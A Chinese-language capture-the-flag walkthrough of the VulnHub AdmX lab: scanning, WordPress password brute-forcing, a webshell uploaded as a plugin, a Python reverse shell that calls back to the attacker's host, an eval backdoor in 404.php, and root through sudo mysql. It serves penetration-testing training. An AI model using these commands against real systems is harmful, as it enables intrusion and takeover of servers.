靶机介绍
1)靶机地址:https://download.vulnhub.com/admx/AdmX_new.7z
2)靶机难度:中
3)打靶目标: 取得 2 个 flag + root 权限
4)涉及攻击方法:主机发现、端口扫描、WEB路径爆破、BurpSuite内容替换、密码爆破、MSF漏洞利用、Wordpress后台漏洞利用、升级Full TTY终端、蚁剑上线、利用MySQL提权
5)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
打靶过程
1)主机发现:通过nmap -sn ping扫描进行主机发现
# nmap -sn 192.168.56.0/24
2)端口扫描:对主机进行全端口扫描,发现该主机开放的端口
# nmap -p- 192.168.56.111
3)对发现的80端口进行服务版本扫描,发现确实是一个apache httpd服务
# nmap -p80 -sV 192.168.56.111
4)在浏览器直接对页面进行访问:发现只是一个默认的apache起始页面,该页面并没有发现其他更有价值的信息
浏览器:http://192.168.56.111/
5)对目标靶机进行web路径发现:本次使用feroxbuster工具(和dirsearch原理一直,但效果不同),默认情况下kali并未安装该工具
①feroxbuster安装
# apt install feroxbuster
②对目标主机进行路径发现
#feroxbuster --url http://192.168.56.111
注:默认情况下feroxbuster使用的字典是seclists,如果没有安装seclists字典,需要安装该字典
#apt install seclists
③除了使用默认的seclists字典外,也可使用其他的字典,如dirb工具下的common.txt字典
# feroxbuster --url http://192.168.56.111 -w /usr/share/dirb/wordlists/common.txt
通过扫描发现了wordpress目录
6)对如下扫描到的路径进行访问
浏览器:http://192.168.56.111/wordpress/
①经过了很长时间,一个页面的内容还没有完整的加载上来,这个页面中到底加载了哪些元素,是哪些元素的加载缓慢,导致了整个页面的加载缓慢,此时通过burp查看整个界面的加载过程
查看到在页面请求过程中,主页面又向服务器请求了192.168.158.145上面的一部分资源,因此时主机和该IP不处于同一个地址段,所以192.168.158.145上的资源无法正常请求,导致页面加载缓慢
7)因192.168.158.145是目标服务端给客户端返回的数据包中硬编码写入的内容,所以在burp上设置:凡是服务端返回的数据包中,如果包含192.168.158.145这个就地址,就强制替换为192.168.56.111
①先修改相应数据包的响应头部分
②再修改相应数据包的相应体部分
③完成之后,重新访问页面,页面加载正常
8)对上述页面进行测试后,未发现任何的漏洞,包括wordpress版本漏洞等。根据前面对网站路径扫描,发现了类似的后台地址,对其进行访问
浏览器:http://192.168.56.111/wordpress/wp-admin/
9)对该后台进行密码暴力破解,先通过搜索发现wordpress该CMS的web应用后台管理员账号为admin(面对一个CMS时,先判断是哪种CMS,搜索该CMS有无默认的管理员账号)
①暴力破解时,字典使用提前下载好的mimipwds.txt
字典下载地址:https://github.com/dictest/subdic/tree/ddc8b5dc82750093b6763d9d064bb7d99aa1f425
②破解完成后,发现等使用adam14密码时,页面返回了不同的URL
③通过账号密码正确登陆至系统后台
10)wordpress常见提权方式
①media中如果wordpress版本较低,可以直接在其中上传webshell
②可在Appearance中的Theme Editor的外观主题的PHP源码进行编辑,如可将一句话木马写入外观代码404.php中,如果运气好,可直接使用蚁剑连接。此处该方式失败
③通过查看插件Plugins,或者手动编写并,上传一个插件,
A:编写插件:必须要写插件的头部信息
# cat webshell.php
B:将该webshell.php打包成zip压缩包格式
# zip shell.zip webshell.php# ls shell.zip
C:将shell.zip文件进行上传
D:上传成功后,进行激活引擎
E:访问上传的引擎,执行webshell,执行系统命令,发现正常执行
http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=id
11)使用上传的webshell进行反弹shell连接
①先确定目标服务器有无nc命令
http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=which nc
②本次打靶,使用python进行反弹shell,所以先确定目标主机有无python程序
http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=which python3
③python反弹shell代码
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Kali监听:# nc -lvvp 4444
浏览器http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
12)通过MSF获取shell
①启动MSF
# msfdb run
②查找wordpress后台相关的漏洞利用模块
msf6 > search wordpress adminmsf6 >use exploit/unix/webapp/wp_admin_shell_upload > set PASSWORD adam14> set RHOSTS 192.168.56.111> set TARGETURI /wordpress> set USERNAME admin> run
13)通过python反弹的shell,无法使用vi等命令对文本文件进行编辑,此时需要将shell升级成功能完整的、可以实现交互式的shell(此shell升级只适用于BASH)
①先将kali主机的解释器修改为BASH,先查看当前kali的解释器是否为BASH,若不是需要修改为BASH
# echo $SHELL# chsh -s /bin/bash #修改解释器为BASH# reboot #修改完成后需要重启
②将当前shell升级为完整的shell终端
CTRL+Z#stty raw -echo#fg#ls#export SHELL=/bin/bash#export TERM=screen#stty rows 38 columns 116#reset
14)升级完成后,即可通过vi编辑器,完整的编辑文件(此处向之前添加为成功的404.php中,写入一句话木马)
#cd ./wordpress/wp-content/themes/twentytwentyone#vi 404.phpeval($_POST['cmd']);
15)通过蚁剑连接webshell
注:渗透测试过程中,最好应该获取到目标系统的2-3个shell,防止某些系统触发某个漏洞获取到反弹shell后,环境发送了变化,导致无法使用同一个漏洞进行反弹shell。获取一个shell后,借助该shell获取到其他shell
16)信息搜集:在用户文件中发现了一个可以登录的wpadmin账号,在该用户家目录下,获取到了一个local.txt,但是只有wpadmin用户具备读权限,且查看系统内核版本、sudo权限,均不能进行提权
$cat /etc/passwd |grep /bin/bash$cd /home/wpadmin$ls -l local.txt$ uname -a$ sudo -l
17)信息搜集:发现了wordpress应用程序的配置文件,通过配置文件查看到了连接数据库的用户名和密码
cat /var/www/html/wordpress/wp-config.php
18)尝试通过发现的密码,使用wpadmin用户去登录操作系统,发现无法正常登录成功
$ su wpadmin
19)利用用户名和密码直接进行mysql数据库的登录,发现仍然无法正常登录成功
$ mysql -u admin -p Wp_Admin#123 -D wordpress
20)通过之前的信息搜集,发现在web界面,有一个adam14的密码,通过该密码对系统用户wpadmin进行登录,发现正确却换到了用户wpadmin,获取到了第一个flag
$ su - wpadmin$ ls7$ cat local.txt
21)此时信息搜集,发现该用户wpadmin具有sudo权限:不使用密码的情况下即可使用mysql命令
$ sudo -l
22)通过mysql登录数据库,密码尝试使用adam14时,正确登录至数据库中
$ sudo /usr/bin/mysql -u root -D wordpress -p
23)通过在mysql数据库中执行system命令(简写/!),获取root权限
> system id> \! /bin/bash#cd#cat proof.txt
总结:先对目标靶机进行了主机发现和端口扫描,扫描过程中只发现了80端口,通过端口访问到web页面后未发现其他有用漏洞信息,于是对web页面进行了路径发现,发现目标主机上存在一个wordpress的web应用,然后对其进行访问,访问过程中发现页面访问速度特别缓慢,所以开始怀疑是否页面有部分资源请求不到,导致整体的页面加载速度减慢,于是通过burp抓取了整个页面请求过程中的请求信息,于是发现该页面上通过硬编码的方式写死了部分IP地址,于是利用burp的匹配及替换功能,将硬编码写死的IP地址修改为了目标主机IP地址,从而解决页面加载慢的问题,从而可以正常访问到靶机web应用的后台地址,进而利用burp的暴力破解功能,获取到了web后台的密码,正确登入至后台管理界面。在后台管理界面通过了常见的wordpress后台漏洞利用方法(三种),最后使用插件的方式上传了webshell,获取到了反弹的shell,并利用反弹shell进行更新升级,使其成一个具有交互式功能的完整功能shell,利用完整功能的shell,修改了404.php,使得蚁剑可以正常上线。最后通过mysql数据库自身具备的system命令进行了提权(目标靶机上的sudo权限配置不当导致)操作。